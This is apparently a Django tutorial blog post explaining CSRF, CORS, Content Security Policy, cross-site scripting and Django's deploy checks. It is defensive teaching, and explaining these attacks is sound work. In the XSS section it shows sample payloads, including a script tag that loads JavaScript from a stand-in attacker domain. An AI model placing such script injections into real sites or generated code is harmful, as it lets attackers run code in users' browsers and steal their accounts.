In the last Understand Django article, we learned about where apps slow down. We explored techniques that help sites handle the load and provide a fast experience for users.

With this article, we will look at security. How does a Django site stay safe on the big, bad internet? Let’s find out.

1. From Browser To Django
2. URLs Lead The Way
3. Views On Views
4. Templates For User Interfaces
5. User Interaction With Forms
6. Store Data With Models
7. Administer All The Things
8. Anatomy Of An Application
9. User Authentication
10. Middleware Do You Go?
11. Serving Static Files
12. Test Your Apps
13. Deploy A Site Live
14. Per-visitor Data With Sessions
15. Making Sense Of Settings
16. User File Use
17. Command Your App
18. Go Fast With Django
19. Security And Django
20. Debugging Tips And Techniques

A Security Confession

I have a confession to make. Of all the topics that I’ve covered about Django in this series, this is my least favorite one. Perhaps that’s why I’ve pushed the subject so far into this list of articles.

I have a very hard time getting excited about security because it feels like a pure cost to me. As developers, we’re in this arms race against malicious people who want to steal and profit from the data of others. In a perfect world, everyone would respect the privacy of others and leave private data alone. Alas, the world is far from perfect.

The bad actors have devised clever and tricky methods of exploiting websites to steal data. Because of this, application developers have to implement guards in an attempt to prevent these exploits. Implementing those guards detract from the main objective of site building and often feels like a drag on efficiency.

All that being said, security is super important. Even if you’re like me and the topic doesn’t naturally interest you (or actively feels like a waste of time), the security of your application matters.

• Privacy matters.
• Trust matters.

If we cannot protect the information that users of our Django sites bring, then trust will rapidly erode and, most likely, your users will disappear along with it.

As noted in this section, security is not my favorite topic. I’m going to describe some security topics as they relate to Django, but if you want to learn from people who love security, then I would recommend reading from the Open Web Application Security Project. This popular group can teach you far more about security than I can, and do it with gusto!

The Three Cs

Learning about security involves learning a bunch of acronyms. I don’t know if this is something that security researchers like to do, or if the reason is because the problems that the acronyms stand for are challenging to understand. Either way, let’s look at three common acronyms that start with C and the problems they address.

CSRF

In a number of these Understand Django articles, I have discussed CSRF briefly. In the forms article, I did some hand waving and stated that you need a CSRF token for security reasons and basically said “trust me” at the time.

CSRF stands for Cross Site Request Forgery. In simple terms, a CSRF attack allows an attacker to use someone’s credentials to a different site without their permission. With a bit of imagination, you can see where this goes:

• Attacker socially manipulates a user to click a link.
• The click activity exploits the user’s credentials to a site and changes something about the user’s account like their email address.
• The attacker changes the email address to something they control.
• If the original site is something like an e-commerce site, the attacker may make purchases using the user’s stored credit card information.

Django includes a capability to help thwart this kind of attack. Through the use of CSRF tokens, we can help prevent bad actors from performing actions without user consent.

A CSRF token works by including a generated value that gets submitted along with the form. The template looks like:

<form method="POST">
  {% csrf_token %}
  <input name="myvalue">
  <input type="submit">
</form>

When this renders, the result would be something like:

<form method="POST">
  <input type="hidden" name="csrfmiddlewaretoken"
    value="gubC92ukKk62qtvkjp1t6iinHgflk9LD5Uke53QYHqUobOIzRp9nv2DuFqwx9ors">
  <input name="myvalue">
  <input type="submit">
</form>

The value would naturally be different from my example. When the form is submitted, the CSRF token gets checked for validity. A valid CSRF token is required to make a POST request, so this level of checking can help prevent attackers from changing a user’s data on your site.

You can learn more about CSRF with Django’s Cross Site Request Forgery protection reference page.

CORS

Imagine that you’ve built myapp.com. For your user interface, instead of Django templates, you built a client UI using a JavaScript framework like Vue.js. Your application is serving static files at myapp.com, and you built a Django-powered API that is handling the data which gets called at api.myapp.com.

In this scenario, browsers will require you to set up CORS. CORS is Cross-Origin Resource Sharing. The goal of CORS is to help protect a domain from undesirable access.

In our example, your API at api.myapp.com may only be designed to work with the user interface at myapp.com. With CORS, you can configure your API so that it will reject any requests that do not come from the myapp.com domain. This helps prevent bad actors from using api.myapp.com in the browser.

Django does not include tools to handle CORS configuration from the core package. To make this work, you’ll need to reach for a third party package. Since CORS configuration is handled through HTTP headers, you’ll find that the very appropriately named django-cors-headers package is exactly what you need.

I won’t walk through the whole setup of that package because the README does a good job of explaining the process, but I will highlight the crucial setting. With django-cors-headers, you need to set the CORS_ALLOWED_ORIGINS list. Anything not in that list will be blocked by CORS controls in the browser. Our example configuration would look like:

CORS_ALLOWED_ORIGINS = [
    "https://myapp.com",
]

As you read about CORS on the internet, you’ll probably run into advice to set the HTTP header of Access-Control-Allow-Origin: *. This wildcard is what you’ll get if you set CORS_ALLOW_ALL_ORIGINS = True in django-cors-headers. This is probably not what you really want. Using this feature opts your site out of CORS protection. Unless you have some public web API that is designed to work for many domains, you should try to avoid opting out of CORS.

CORS is not a core concept that you will find in Django. If you want to learn more about the specifics of CORS, check out Cross-Origin Resource Sharing (CORS) from the Mozilla Developer Network (MDN).

CSP

The final C in our tour is Content Security Policy or CSP, for short. You might roughly think of CSP as the inverse of CORS. Where CORS defines what parts of the internet can access your domain, CSP defines what your domain can access from the internet.

The goal of CSP is to protect users on your site from running JavaScript (and other potentially harmful resources like images) from places that you don’t want.

To understand how your site can be vulnerable to these kinds of attacks, we need to understand a well-known attack vector called Cross-Site Scripting (XSS). XSS is when a bad actor finds a way to run a script on your domain. Here’s a classic way that XSS can happen:

• A site has a form that accepts text data.
• Then the site displays that text data in its raw form.

At first, that seems harmless.

<div class="area-where-user-content-gets-displayed">
  What could possibly go wrong?
</div>

For an honest interaction like “What could possibly go wrong?” as user input, that is truly harmless. What about this?

<div class="area-where-user-content-gets-displayed">
  I am getting <i>sneaky</i>.
</div>

Now, the user added a bit of HTML markup. Again, this is fairly benign and will only add some unanticipated italics. What if the user is a bit more clever than that?

<div class="area-where-user-content-gets-displayed">
  <script>alert("Boom goes the dynamite!")</script>
</div>

Here’s where a site gets into trouble. If this is rendered on a page, a little alert box will appear. You can imagine this happening in a forum or some other sharing site where multiple people will see this output. That’s annoying, but it’s still not horrible.

What does a really bad scenario look like? A really bad scenario is where the bad guys figure out that your site is unsafe in this way. Consider this:

<div class="area-where-user-content-gets-displayed">
  <script src="https://really-bad-guys.com/owned.js"></script>
</div>

Now your users are really in trouble. In this final version, the bad guys won. A user’s browser will download and execute whatever JavaScript is in owned.js. This code could do all kinds of stuff like using the fetch API to run AJAX requests that can change the user’s account credentials and steal their account.

How do we defend against this kind of attack? There isn’t a singular answer. In fact, multiple layers of protection is often what you really want. In security, this idea is called “defense-in-depth.” If you have multiple layers to protect your site, then the site may become a less appealing target for attackers.

For this particular scenario, we can use a couple of things

• HTML escaping of untrusted input
• CSP

The real problem above is that the site is rendering user input without any modification. This is a problem with HTML because the raw characters are interpreted as HTML code and not just user data.

The simplest solution is to make sure that any characters that mean something specific to HTML (like < or >) are replaced with escape codes (< or >) that will display the character in the browser without treating it like the actual HTML code character. Django does this auto-escaping of user data by default. You can disable this behavior for portions of a template using a variety of template tags like autoescape and the (ironically named?) safe tag.

Because there are ways to opt out of safe behavior from HTML escaping and because clever attackers might find other ways to inject script calls into your site, CSP is another layer of protection.

Primarily, CSP is possible with a Content-Security-Policy HTTP header. You can read all of the gritty details on the Content Security Policy (CSP) article on MDN. Like CORS, CSP is not something that Django supports out-of-the-box. Thankfully, Mozilla (yep, the same Mozilla from MDN), offers a django-csp package that you can use to configure an appropriate policy for your Django site.

In a content security policy, you mark everything that you want to allow. This fundamentally changes what requests your site will connect to. Instead of allowing everything by default, the site operates on a model that denies things by default. With a “deny by default” stance, you can then pick resources which you deem are safe for your site. Modern browsers respect the policy declared by the HTTP header and will refuse to connect to resources outside of your policy when users visit your site at your domain.

There is something obvious that we should get out of the way. This setup and configuration requires more work. Having more secure systems requires effort, study, and plenty of frustration as you make a site more secure. The benefits to your users or customers is that their data stays safe. I think most people expect this level of protection by default.

So, do you have to become a security expert to build websites? I don’t think so. There is a set of fundamental issues with web application security that you should know about (and we’ve covered some of those issues already), but you don’t need to be prepared to go to black hat conventions in order to work on the web.

Before finishing up this security article, let’s look at what Django provides so that you can be less of a security expert and use the knowledge of the community.

Check Command Revisited

The Django documentation includes a good overview of the framework’s security features on the Security in Django page.

Aside from the content outlined on the security page, we can return to the check command discussed in previous articles. Recall that Django includes a check command that can check your site’s configuration before you deploy a site live. The command looks like:

$ ./manage.py check --deploy

The output from this command can show where your configuration is less than ideal from a security perspective.

The security warnings that come from running the check command are defined in django.core.checks.security. A more readable version of the available security checks is on the System check framework reference page.

Scanning through the list of checks, you’ll find that

• many checks center around configuring your site to run with HTTPS. Secure connections used to reference SSL for Secure Sockets Layer. Along the way, that layer changed names to TLS for Transport Layer Security. In practice, if you see either of those terms, think https://.
• other checks confirm that your site has the kinds of middleware installed that offer some of the protection discussed previously (like CSRF).
• still other checks look for core settings that should be set like DEBUG = False and defining the ALLOWED_HOSTS setting.

There is a good comment in the Django security checks reference docs that is worth repeating here:

The security checks do not make your site secure. They do not audit code, do intrusion detection, or do anything particularly complex. Rather, they help perform an automated, low-hanging-fruit checklist, that can help you to improve your site’s security.

When you’re thinking through security, do some homework and don’t let your brain go on autopilot. Remember that users develop a trust relationship with your websites. That trust is easy to break and may cause people to leave your site forever.

Summary

In this article, we explored security topics and how they relate to Django. We covered:

• CSRF
• CORS
• CSP
• Cross-site scripting (XSS)
• The security checks and information available from the check command

In the last article of the Understand Django series, we’ll get into debugging. You’ll learn about:

• Debugging tools like pdb
• Browser tools
• Strategies for finding and fixing problems

If you’d like to follow along with the series, please feel free to sign up for my newsletter where I announce all of my new content. If you have other questions, you can reach me online on X where I am @mblayman.